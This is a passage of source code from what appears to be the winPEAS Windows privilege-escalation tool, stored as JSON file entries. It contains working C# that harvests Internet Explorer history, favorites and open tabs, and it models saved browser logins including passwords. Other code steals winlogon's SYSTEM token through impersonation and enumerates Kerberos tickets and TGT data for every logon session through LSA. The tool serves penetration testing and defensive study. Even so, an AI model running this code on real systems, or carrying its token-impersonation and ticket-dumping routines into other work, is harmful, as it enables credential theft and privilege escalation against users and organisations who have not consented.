    }\n                                    }\n                                }\n                            }\n                        }\n                    }\n\n                    string userFolder = string.Format(\"{0}\\\\Users\\\\\", Environment.GetEnvironmentVariable(\"SystemDrive\"));\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n                    foreach (var dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        string userName = parts[parts.Length - 1];\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            string userIEBookmarkPath = string.Format(\"{0}\\\\Favorites\\\\\", dir);\n\n                            if (Directory.Exists(userIEBookmarkPath))\n                            {\n                                string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, \"*.url\", SearchOption.AllDirectories).ToArray();\n                                if (bookmarkPaths.Length != 0)\n                                {\n                                    foreach (string bookmarkPath in bookmarkPaths)\n                                    {\n                                        using (StreamReader rdr = new StreamReader(bookmarkPath))\n                                        {\n                                            string line;\n                                            string url = \"\";\n                                            while ((line = rdr.ReadLine()) != null)\n                                            {\n                                                if (line.StartsWith(\"URL=\", StringComparison.InvariantCultureIgnoreCase))\n                                                {\n                                                    if (line.Length > 4)\n                                                        url = line.Substring(4);\n                                                    break;\n                                                }\n                                            }\n                                            results[\"history\"].Add(url.ToString().Trim());\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n                else\n                {\n                    Dictionary<string, object> settings = RegistryHelper.GetRegValues(\"HKCU\", \"SOFTWARE\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\");\n                    if ((settings != null) && (settings.Count != 0))\n                    {\n                        foreach (KeyValuePair<string, object> kvp in settings)\n                        {\n                            results[\"history\"].Add(kvp.Value.ToString().Trim());\n                        }\n                    }\n\n                    string userIEBookmarkPath = string.Format(\"{0}\\\\Favorites\\\\\", Environment.GetEnvironmentVariable(\"USERPROFILE\"));\n                    if (Directory.Exists(userIEBookmarkPath))\n                    {\n                        string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, \"*.url\", SearchOption.AllDirectories).ToArray();\n                        foreach (string bookmarkPath in bookmarkPaths)\n                        {\n                            using (StreamReader rdr = new StreamReader(bookmarkPath))\n                            {\n                                string line;\n                                string url = \"\";\n                                while ((line = rdr.ReadLine()) != null)\n                                {\n                                    if (line.StartsWith(\"URL=\", StringComparison.InvariantCultureIgnoreCase))\n                                    {\n                                        if (line.Length > 4)\n                                            url = line.Substring(4);\n                                        break;\n                                    }\n                                }\n                                results[\"favorites\"].Add(url.ToString().Trim());\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\", ex));\n            }\n            return results;\n        }\n        private static List<string> GetCurrentIETabs()\n        {\n            List<string> results = new List<string>();\n            // Lists currently open Internet Explorer tabs, via COM\n            // Notes:\n            //  https://searchcode.com/codesearch/view/9859954/\n            //  https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816\n\n            try\n            {\n                // Shell.Application COM GUID\n                Type shell = Type.GetTypeFromCLSID(new Guid(\"13709620-C279-11CE-A49E-444553540000\"));\n\n                // actually instantiate the Shell.Application COM object\n                Object shellObj = Activator.CreateInstance(shell);\n\n                // grab all the current windows\n                Object windows = shellObj.GetType().InvokeMember(\"Windows\", BindingFlags.InvokeMethod, null, shellObj, null);\n\n                // grab the open tab count\n                Object openTabs = windows.GetType().InvokeMember(\"Count\", BindingFlags.GetProperty, null, windows, null);\n                int openTabsCount = Int32.Parse(openTabs.ToString());\n\n                for (int i = 0; i < openTabsCount; i++)\n                {\n                    // grab the acutal tab\n                    Object item = windows.GetType().InvokeMember(\"Item\", BindingFlags.InvokeMethod, null, windows, new object[] { i });\n                    try\n                    {\n                        // extract the tab properties\n                        Object locationName = item.GetType().InvokeMember(\"LocationName\", BindingFlags.GetProperty, null, item, null);\n                        Object locationURL = item.GetType().InvokeMember(\"LocationUrl\", BindingFlags.GetProperty, null, item, null);\n\n                        // ensure we have a site address\n                        if (Regex.IsMatch(locationURL.ToString(), @\"(^https?://.+)|(^ftp://)\"))\n                        {\n                            results.Add(string.Format(\"{0}\", locationURL));\n                        }\n                        Marshal.ReleaseComObject(item);\n                        item = null;\n                    }\n                    catch\n                    {\n                        //\n                    }\n                }\n                Marshal.ReleaseComObject(windows);\n                windows = null;\n                Marshal.ReleaseComObject(shellObj);\n                shellObj = null;\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\", ex));\n            }\n            return results;\n        }\n\n        public override IEnumerable<CredentialModel> GetSavedCredentials()\n        {\n            // unsupported\n            var result = new List<CredentialModel>();\n            return result;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Models/CredentialModel.cs",
    "content": "﻿namespace winPEAS.KnownFileCreds.Browsers.Models\n{\n    public class CredentialModel\n    {\n        public string Url { get; set; }\n        public string Username { get; set; }\n        public string Password { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Models/Login.cs",
    "content": "﻿namespace winPEAS.KnownFileCreds.Browsers.Models\n{\n    class Login\n    {\n        public string action_url { get; set; }\n        public string username_value { get; set; }\n        public byte[] password_value { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Opera/Opera.cs",
    "content": "﻿using System.IO;\n\nnamespace winPEAS.KnownFileCreds.Browsers.Opera\n{\n    internal class Opera : ChromiumBase, IBrowser\n    {\n        public override string Name => \"Opera\";\n\n        public override void PrintInfo()\n        {\n            PrintSavedCredentials();\n        }\n\n        public override string BaseAppDataPath => Path.Combine(AppDataPath, \"..\\\\Roaming\\\\Opera Software\\\\Opera Stable\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Kerberos/Enums.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.KnownFileCreds.Kerberos\n{\n    public enum KERB_ENCRYPTION_TYPE : UInt32\n    {\n        reserved0 = 0,\n        des_cbc_crc = 1,\n        des_cbc_md4 = 2,\n        des_cbc_md5 = 3,\n        reserved1 = 4,\n        des3_cbc_md5 = 5,\n        reserved2 = 6,\n        des3_cbc_sha1 = 7,\n        dsaWithSHA1_CmsOID = 9,\n        md5WithRSAEncryption_CmsOID = 10,\n        sha1WithRSAEncryption_CmsOID = 11,\n        rc2CBC_EnvOID = 12,\n        rsaEncryption_EnvOID = 13,\n        rsaES_OAEP_ENV_OID = 14,\n        des_ede3_cbc_Env_OID = 15,\n        des3_cbc_sha1_kd = 16,\n        aes128_cts_hmac_sha1_96 = 17,\n        aes256_cts_hmac_sha1_96 = 18,\n        aes128_cts_hmac_sha256_128 = 19,\n        aes256_cts_hmac_sha384_192 = 20,\n        rc4_hmac = 23,\n        rc4_hmac_exp = 24,\n        camellia128_cts_cmac = 25,\n        camellia256_cts_cmac = 26,\n        subkey_keymaterial = 65\n    }\n\n    [Flags]\n    public enum KERB_TICKET_FLAGS : UInt32\n    {\n        reserved = 2147483648,\n        forwardable = 0x40000000,\n        forwarded = 0x20000000,\n        proxiable = 0x10000000,\n        proxy = 0x08000000,\n        may_postdate = 0x04000000,\n        postdated = 0x02000000,\n        invalid = 0x01000000,\n        renewable = 0x00800000,\n        initial = 0x00400000,\n        pre_authent = 0x00200000,\n        hw_authent = 0x00100000,\n        ok_as_delegate = 0x00040000,\n        name_canonicalize = 0x00010000,\n        //cname_in_pa_data = 0x00040000,\n        enc_pa_rep = 0x00010000,\n        reserved1 = 0x00000001\n    }\n\n    [Flags]\n    public enum KERB_CACHE_OPTIONS : UInt64\n    {\n        KERB_RETRIEVE_TICKET_DEFAULT = 0x0,\n        KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1,\n        KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2,\n        KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4,\n        KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8,\n        KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10,\n        KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20,\n        KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40,\n    }\n\n    public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32\n    {\n        KerbDebugRequestMessage = 0,\n        KerbQueryTicketCacheMessage = 1,\n        KerbChangeMachinePasswordMessage = 2,\n        KerbVerifyPacMessage = 3,\n        KerbRetrieveTicketMessage = 4,\n        KerbUpdateAddressesMessage = 5,\n        KerbPurgeTicketCacheMessage = 6,\n        KerbChangePasswordMessage = 7,\n        KerbRetrieveEncodedTicketMessage = 8,\n        KerbDecryptDataMessage = 9,\n        KerbAddBindingCacheEntryMessage = 10,\n        KerbSetPasswordMessage = 11,\n        KerbSetPasswordExMessage = 12,\n        KerbVerifyCredentialsMessage = 13,\n        KerbQueryTicketCacheExMessage = 14,\n        KerbPurgeTicketCacheExMessage = 15,\n        KerbRefreshSmartcardCredentialsMessage = 16,\n        KerbAddExtraCredentialsMessage = 17,\n        KerbQuerySupplementalCredentialsMessage = 18,\n        KerbTransferCredentialsMessage = 19,\n        KerbQueryTicketCacheEx2Message = 20,\n        KerbSubmitTicketMessage = 21,\n        KerbAddExtraCredentialsExMessage = 22,\n        KerbQueryKdcProxyCacheMessage = 23,\n        KerbPurgeKdcProxyCacheMessage = 24,\n        KerbQueryTicketCacheEx3Message = 25,\n        KerbCleanupMachinePkinitCredsMessage = 26,\n        KerbAddBindingCacheEntryExMessage = 27,\n        KerbQueryBindingCacheMessage = 28,\n        KerbPurgeBindingCacheMessage = 29,\n        KerbQueryDomainExtendedPoliciesMessage = 30,\n        KerbQueryS4U2ProxyCacheMessage = 31\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Kerberos/Helpers.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing System.Runtime.ExceptionServices;\nusing winPEAS.Helpers;\nusing winPEAS.Native;\n\nnamespace winPEAS.KnownFileCreds.Kerberos\n{\n    static class Helpers\n    {\n        [HandleProcessCorruptedStateExceptions]\n        public static IntPtr LsaRegisterLogonProcessHelper()\n        {\n            // helper that establishes a connection to the LSA server and verifies that the caller is a logon application\n            //  used for Kerberos ticket enumeration\n\n            string logonProcessName = \"User32LogonProcesss\";\n            LSA_STRING_IN LSAString;\n            IntPtr lsaHandle = IntPtr.Zero;\n            UInt64 securityMode = 0;\n\n            LSAString.Length = (ushort)logonProcessName.Length;\n            LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1);\n            LSAString.Buffer = logonProcessName;\n\n            try\n            {\n                int ret = Secur32.LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode);\n            }\n            catch (Exception e)\n            {\n            }\n\n            return lsaHandle;\n        }\n\n        public static bool GetSystem()\n        {\n            // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation\n\n            if (MyUtils.IsHighIntegrity())\n            {\n                IntPtr hToken = IntPtr.Zero;\n\n                // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken\n                Process[] processes = Process.GetProcessesByName(\"winlogon\");\n                IntPtr handle = processes[0].Handle;\n\n                // TOKEN_DUPLICATE = 0x0002\n                bool success = Advapi32.OpenProcessToken(handle, 0x0002, out hToken);\n                if (!success)\n                {\n                    //Console.WriteLine(\"OpenProcessToken failed!\");\n                    return false;\n                }\n\n                // make a copy of the NT AUTHORITY\\SYSTEM token from winlogon\n                // 2 == SecurityImpersonation\n                IntPtr hDupToken = IntPtr.Zero;\n                success = Advapi32.DuplicateToken(hToken, 2, ref hDupToken);\n                if (!success)\n                {\n                    //Console.WriteLine(\"DuplicateToken failed!\");\n                    return false;\n                }\n\n                success = Advapi32.ImpersonateLoggedOnUser(hDupToken);\n                if (!success)\n                {\n                    //Console.WriteLine(\"ImpersonateLoggedOnUser failed!\");\n                    return false;\n                }\n\n                // clean up the handles we created\n                Kernel32.CloseHandle(hToken);\n                Kernel32.CloseHandle(hDupToken);\n\n                string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name;\n                if (name != \"NT AUTHORITY\\\\SYSTEM\")\n                {\n                    return false;\n                }\n\n                return true;\n            }\n            else\n            {\n                return false;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Kerberos/Kerberos.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing winPEAS.Helpers;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.KnownFileCreds.Kerberos\n{\n    static class Kerberos\n    {\n        public static List<Dictionary<string, string>> ListKerberosTickets()\n        {\n            if (MyUtils.IsHighIntegrity())\n            {\n                return ListKerberosTicketsAllUsers();\n            }\n            else\n            {\n                return ListKerberosTicketsCurrentUser();\n            }\n        }\n\n        public static List<Dictionary<string, string>> ListKerberosTicketsAllUsers()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // adapted partially from Vincent LE TOUX' work\n            //      https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950\n            // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/\n            // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1\n\n            IntPtr hLsa = Helpers.LsaRegisterLogonProcessHelper();\n            int totalTicketCount = 0;\n\n            // if the original call fails then it is likely we don't have SeTcbPrivilege\n            // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\\SYSTEM Token\n            if (hLsa == IntPtr.Zero)\n            {\n                Helpers.GetSystem();\n                // should now have the proper privileges to get a Handle to LSA\n                hLsa = Helpers.LsaRegisterLogonProcessHelper();\n                // we don't need our NT AUTHORITY\\SYSTEM Token anymore so we can revert to our original token\n                Advapi32.RevertToSelf();\n            }\n\n            try\n            {\n                // first return all the logon sessions\n\n                DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate\n                UInt64 count;\n                IntPtr luidPtr = IntPtr.Zero;\n                IntPtr iter = luidPtr;\n\n                uint ret = Secur32.LsaEnumerateLogonSessions(out count, out luidPtr);  // get an array of pointers to LUIDs\n\n                for (ulong i = 0; i < count; i++)\n                {\n                    IntPtr sessionData;\n                    ret = Secur32.LsaGetLogonSessionData(luidPtr, out sessionData);\n                    SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA));\n\n                    // if we have a valid logon\n                    if (data.PSiD != IntPtr.Zero)\n                    {\n                        // user session data\n                        string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();\n                        System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);\n                        string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();\n                        string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();\n                        SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)data.LogonType;\n                        DateTime logonTime = systime.AddTicks((long)data.LoginTime);\n                        string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();\n                        string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();\n                        string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();\n\n                        // now we want to get the tickets for this logon ID\n                        string name = \"kerberos\";\n                        LSA_STRING_IN LSAString;\n                        LSAString.Length = (ushort)name.Length;\n                        LSAString.MaximumLength = (ushort)(name.Length + 1);\n                        LSAString.Buffer = name;\n\n                        IntPtr ticketPointer = IntPtr.Zero;\n                        IntPtr ticketsPointer = IntPtr.Zero;\n                        DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0);\n                        int authPack;\n                        int returnBufferLength = 0;\n                        int protocalStatus = 0;\n                        int retCode;\n\n                        KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST();\n                        KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE();\n                        KERB_TICKET_CACHE_INFO ticket;\n\n                        // obtains the unique identifier for the kerberos authentication package.\n                        retCode = Secur32.LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack);\n\n                        // input object for querying the ticket cache for a specific logon ID\n                        LUID userLogonID = new LUID();\n                        userLogonID.LowPart = data.LoginID.LowPart;\n                        userLogonID.HighPart = 0;\n                        tQuery.LogonId = userLogonID;\n                        tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage;\n\n                        // query LSA, specifying we want the ticket cache\n                        retCode = Secur32.LsaCallAuthenticationPackage(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus);\n\n                        /*Console.WriteLine(\"\\r\\n  UserName                 : {0}\", username);\n                        Console.WriteLine(\"  Domain                   : {0}\", domain);\n                        Console.WriteLine(\"  LogonId                  : {0}\", data.LoginID.LowPart);\n                        Console.WriteLine(\"  UserSID                  : {0}\", sid.AccountDomainSid);\n                        Console.WriteLine(\"  AuthenticationPackage    : {0}\", authpackage);\n                        Console.WriteLine(\"  LogonType                : {0}\", logonType);\n                        Console.WriteLine(\"  LogonType                : {0}\", logonTime);\n                        Console.WriteLine(\"  LogonServer              : {0}\", logonServer);\n                        Console.WriteLine(\"  LogonServerDNSDomain     : {0}\", dnsDomainName);\n                        Console.WriteLine(\"  UserPrincipalName        : {0}\\r\\n\", upn);*/\n\n                        if (ticketPointer != IntPtr.Zero)\n                        {\n                            // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure\n                            tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE));\n                            int count2 = tickets.CountOfTickets;\n\n                            if (count2 != 0)\n                            {\n                                Console.WriteLine(\"    [*] Enumerated {0} ticket(s):\\r\\n\", count2);\n                                totalTicketCount += count2;\n                                // get the size of the structures we're iterating over\n                                Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO));\n\n                                for (int j = 0; j < count2; j++)\n                                {\n                                    // iterate through the structures\n                                    IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + j * dataSize)));\n\n                                    // parse the new ptr to the appropriate structure\n                                    ticket = (KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO));\n\n                                    // extract our fields\n                                    string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);\n                                    string realmName = Marshal.PtrToStringUni(ticket.RealmName.Buffer, ticket.RealmName.Length / 2);\n                                    DateTime startTime = DateTime.FromFileTime(ticket.StartTime);\n                                    DateTime endTime = DateTime.FromFileTime(ticket.EndTime);\n                                    DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime);\n                                    string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString();\n                                    string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString();\n\n                                    results.Add(new Dictionary<string, string>()\n                                    {\n                                        { \"UserPrincipalName\", upn },\n                                        { \"serverName\", serverName },\n                                        { \"RealmName\", realmName },\n                                        { \"StartTime\", string.Format(\"{0}\", startTime) },\n                                        { \"EndTime\", string.Format(\"{0}\", endTime) },\n                                        { \"RenewTime\", string.Format(\"{0}\", renewTime) },\n                                        { \"EncryptionType\", encryptionType },\n                                        { \"TicketFlags\", ticketFlags },\n                                    });\n                                }\n                            }\n                        }\n                    }\n                    // move the pointer forward\n                    luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID)));\n                    Secur32.LsaFreeReturnBuffer(sessionData);\n                }\n                Secur32.LsaFreeReturnBuffer(luidPtr);\n\n                // disconnect from LSA\n                Secur32.LsaDeregisterLogonProcess(hLsa);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        public static List<Dictionary<string, string>> ListKerberosTicketsCurrentUser()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // adapted partially from Vincent LE TOUX' work\n            //      https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950\n            // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/\n            // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1\n\n            try\n            {\n                string name = \"kerberos\";\n                LSA_STRING_IN LSAString;\n                LSAString.Length = (ushort)name.Length;\n                LSAString.MaximumLength = (ushort)(name.Length + 1);\n                LSAString.Buffer = name;\n\n                IntPtr ticketPointer = IntPtr.Zero;\n                IntPtr ticketsPointer = IntPtr.Zero;\n                DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0);\n                int authPack;\n                int returnBufferLength = 0;\n                int protocalStatus = 0;\n                IntPtr lsaHandle;\n                int retCode;\n\n                // If we want to look at tickets from a session other than our own\n                // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted\n                retCode = Secur32.LsaConnectUntrusted(out lsaHandle);\n\n                KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST();\n                KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE();\n                KERB_TICKET_CACHE_INFO ticket;\n\n                // obtains the unique identifier for the kerberos authentication package.\n                retCode = Secur32.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);\n\n                // input object for querying the ticket cache (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request)\n                tQuery.LogonId = new LUID();\n                tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage;\n\n                // query LSA, specifying we want the ticket cache\n                retCode = Secur32.LsaCallAuthenticationPackage(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus);\n\n                // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure\n                tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE));\n                int count = tickets.CountOfTickets;\n\n                // get the size of the structures we're iterating over\n                Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO));\n\n                for (int i = 0; i < count; i++)\n                {\n                    // iterate through the structures\n                    IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + i * dataSize)));\n\n                    // parse the new ptr to the appropriate structure\n                    ticket = (KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO));\n\n                    // extract our fields\n                    string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);\n                    string realmName = Marshal.PtrToStringUni(ticket.RealmName.Buffer, ticket.RealmName.Length / 2);\n                    DateTime startTime = DateTime.FromFileTime(ticket.StartTime);\n                    DateTime endTime = DateTime.FromFileTime(ticket.EndTime);\n                    DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime);\n                    string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString();\n                    string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString();\n\n                    results.Add(new Dictionary<string, string>()\n                                    {\n                                        { \"serverName\", serverName },\n                                        { \"RealmName\", realmName },\n                                        { \"StartTime\", string.Format(\"{0}\", startTime) },\n                                        { \"EndTime\", string.Format(\"{0}\", endTime) },\n                                        { \"RenewTime\", string.Format(\"{0}\", renewTime) },\n                                        { \"EncryptionType\", encryptionType },\n                                        { \"TicketFlags\", ticketFlags },\n                                    });\n                }\n\n                // disconnect from LSA\n                Secur32.LsaDeregisterLogonProcess(lsaHandle);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        public static List<Dictionary<string, string>> GetKerberosTGTData()\n        {\n            if (MyUtils.IsHighIntegrity())\n            {\n                return ListKerberosTGTDataAllUsers();\n            }\n            else\n            {\n                return ListKerberosTGTDataCurrentUser();\n            }\n        }\n\n        public static List<Dictionary<string, string>> ListKerberosTGTDataAllUsers()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // adapted partially from Vincent LE TOUX' work\n            //      https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950\n            // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/\n            // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1\n\n            IntPtr hLsa = Helpers.LsaRegisterLogonProcessHelper();\n            int totalTicketCount = 0;\n\n            // if the original call fails then it is likely we don't have SeTcbPrivilege\n            // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\\SYSTEM Token\n            if (hLsa == IntPtr.Zero)\n            {\n                Helpers.GetSystem();\n                // should now have the proper privileges to get a Handle to LSA\n                hLsa = Helpers.LsaRegisterLogonProcessHelper();\n                // we don't need our NT AUTHORITY\\SYSTEM Token anymore so we can revert to our original token\n                Advapi32.RevertToSelf();\n            }\n\n            try\n            {\n                // first return all the logon sessions\n\n                DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate\n                UInt64 count;\n                IntPtr luidPtr = IntPtr.Zero;\n                IntPtr iter = luidPtr;\n\n                uint ret = Secur32.LsaEnumerateLogonSessions(out count, out luidPtr);  // get an array of pointers to LUIDs\n\n                for (ulong i = 0; i < count; i++)\n                {\n                    IntPtr sessionData;\n                    ret = Secur32.LsaGetLogonSessionData(luidPtr, out sessionData);\n                    SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA));\n\n                    // if we have a valid logon\n                    if (data.PSiD != IntPtr.Zero)\n                    {\n                        // user session data\n                        string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();\n                        System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);\n                        string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();\n                        string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();\n                        SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)data.LogonType;\n                        DateTime logonTime = systime.AddTicks((long)data.LoginTime);\n                        string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();\n                        string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();\n                        string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();\n\n                        // now we want to get the tickets for this logon ID\n                        string name = \"kerberos\";\n                        LSA_STRING_IN LSAString;\n                        LSAString.Length = (ushort)name.Length;\n                        LSAString.MaximumLength = (ushort)(name.Length + 1);\n                        LSAString.Buffer = name;\n\n                        IntPtr responsePointer = IntPtr.Zero;\n                        int authPack;\n                        int returnBufferLength = 0;\n                        int protocalStatus = 0;\n                        int retCode;\n\n                        KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST();\n                        KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE();\n\n                        // obtains the unique identifier for the kerberos authentication package.\n                        retCode = Secur32.LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack);\n\n                        // input object for querying the TGT for a specific logon ID (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request)\n                        LUID userLogonID = new LUID();\n                        userLogonID.LowPart = data.LoginID.LowPart;\n                        userLogonID.HighPart = 0;\n                        tQuery.LogonId = userLogonID;\n                        tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage;\n                        // indicate we want kerb creds yo'\n                        tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED;\n\n                        // query LSA, specifying we want the the TGT data\n                        retCode = Secur32.LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus);\n\n                        if ((retCode) == 0 && (responsePointer != IntPtr.Zero))\n                        {\n                            /*Console.WriteLine(\"\\r\\n  UserName                 : {0}\", username);\n                            Console.WriteLine(\"  Domain                   : {0}\", domain);\n                            Console.WriteLine(\"  LogonId                  : {0}\", data.LoginID.LowPart);\n                            Console.WriteLine(\"  UserSID                  : {0}\", sid.AccountDomainSid);\n                            Console.WriteLine(\"  AuthenticationPackage    : {0}\", authpackage);\n                            Console.WriteLine(\"  LogonType                : {0}\", logonType);\n                            Console.WriteLine(\"  LogonType                : {0}\", logonTime);\n                            